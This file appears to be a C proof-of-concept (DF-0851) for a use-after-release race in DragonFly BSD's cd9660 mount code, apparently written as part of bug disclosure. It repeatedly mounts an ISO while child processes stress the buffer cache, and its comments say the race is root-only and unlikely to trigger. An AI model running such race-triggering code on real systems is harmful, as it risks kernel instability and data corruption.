DF-0851 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-0851 PoC โ stale dereference of rootp after pribp released. * * Bug: sys/vfs/isofs/cd9660/cd9660_vfsops.c iso_mountfs(): * line 407: rootp = pri->root_directory_record (points into pribp->b_data) * line 435-437: pribp->b_flags |= B_AGE; brelse(pribp); pribp = NULL; * line 466: isonum_711(rootp->ext_attr_length) <-- stale read of released buffer * * Reachability: cd9660 mount is SYSCAP_RESTRICTEDROOT (vfs_syscalls.c:5397), * so ONLY root can reach iso_mountfs(). The threat model is root mounting an * attacker-provided ISO image under heavy concurrent I/O. With B_AGE set, * the buffer is preferentially evicted; if evicted+reused between brelse * (line 436) and the deref (line 466), rootp reads stale data. * * This PoC mounts a valid ISO image repeatedly while 8 child processes * generate heavy random disk I/O to pressure the buffer cache. If the race * triggers, the mount either fails (EIO) or silently uses wrong * ext_attr_length (wrong RRIP detection). * * Expected: race does NOT trigger โ the window (lines 437-465) has no I/O, * so the B_AGE buffer is virtually always still in cache. The bug is a * latent code-level defect confirmed by source trace, not a reliably * triggerable runtime fault. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <vfs/isofs/cd9660/cd9660_mount.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <sys/wait.h> #define ISO_IMAGE "/tmp/df0851.iso" #define VN_DEV "/dev/vn0" #define MNTBASE "/tmp/df0851_mnt" #define NTRIES 3000 #define NCHILDREN 8 static volatile sig_atomic_t stop_flag = 0; static void sig_handler(int sig) { (void)sig; stop_flag = 1; } /* * Child: heavy random disk I/O to pressure the buffer cache and try to * evict the B_AGE-marked pribp buffer in the race window. */ static void io_pressure_child(int seed) { char buf[65536]; const char *targets[] = { "/boot/kernel/kernel", "/var/log/messages", "/bin/sh", "/sbin/init", "/usr/lib/libc.so.8", }; int ntargets = sizeof(targets) / sizeof(targets[0]); unsigned int rng = seed * 1234567 + getpid(); while (!stop_flag) { int idx = rng % ntargets; int fd = open(targets[idx], O_RDONLY); if (fd >= 0) { off_t off = (rng % 200000) * 512; lseek(fd, off, SEEK_SET); read(fd, buf, sizeof(buf)); close(fd); } rng = rng * 1103515245 + 12345; } _exit(0); } int main(int argc, char **argv) { struct iso_args args; char mntpath[64]; int i, rc; int mount_fail_eio = 0, mount_fail_other = 0, mount_ok = 0; pid_t children[NCHILDREN]; signal(SIGALRM, sig_handler); signal(SIGTERM, sig_handler); /* Fork I/O pressure children */ for (i = 0; i < NCHILDREN; i++) { pid_t p = fork(); if (p == 0) io_pressure_child(i + 1); children[i] = p; } printf("DF-0851: %d mounts of %s via %s, %d I/O-pressure children\n", NTRIES, ISO_IMAGE, VN_DEV, NCHILDREN); fflush(stdout); for (i = 0; i < NTRIES && !stop_flag; i++) { snprintf(mntpath, sizeof(mntpath), "%s_%d", MNTBASE, i % 4); memset(&args, 0, sizeof(args)); args.fspec = VN_DEV; args.flags = 0; /* allow RRIP detection to exercise the stale read path */ rc = mount("cd9660", mntpath, MNT_RDONLY, &args); if (rc != 0) { if (errno == EIO) mount_fail_eio++; else mount_fail_other++; } else { mount_ok++; unmount(mntpath, 0); } } stop_flag = 1; for (i = 0; i < NCHILDREN; i++) { int st; kill(children[i], SIGTERM); waitpid(children[i], &st, 0); } printf("DF-0851 RESULT: %d ok, %d failed(EIO), %d failed(other)\n", mount_ok, mount_fail_eio, mount_fail_other); if (mount_fail_eio > 0 && mount_ok > 0) { printf("DF-0851: MIXED โ %d EIO failures under I/O pressure.\n", mount_fail_eio); printf(" This is consistent with (but not proof of) the stale-read race.\n"); printf(" A pure EIO (no concurrent I/O) would indicate a different bug.\n"); } else { printf("DF-0851: No EIO failures in %d tries. Race did not trigger.\n", NTRIES); printf(" EXPECTED: the brelse->deref window (lines 437-465) has no I/O,\n"); printf(" so the B_AGE buffer is virtually always still in cache.\n"); printf(" Bug confirmed by code-level trace; not reliably triggerable.\n"); } return (mount_fail_eio > 0) ? 1 : 0; } |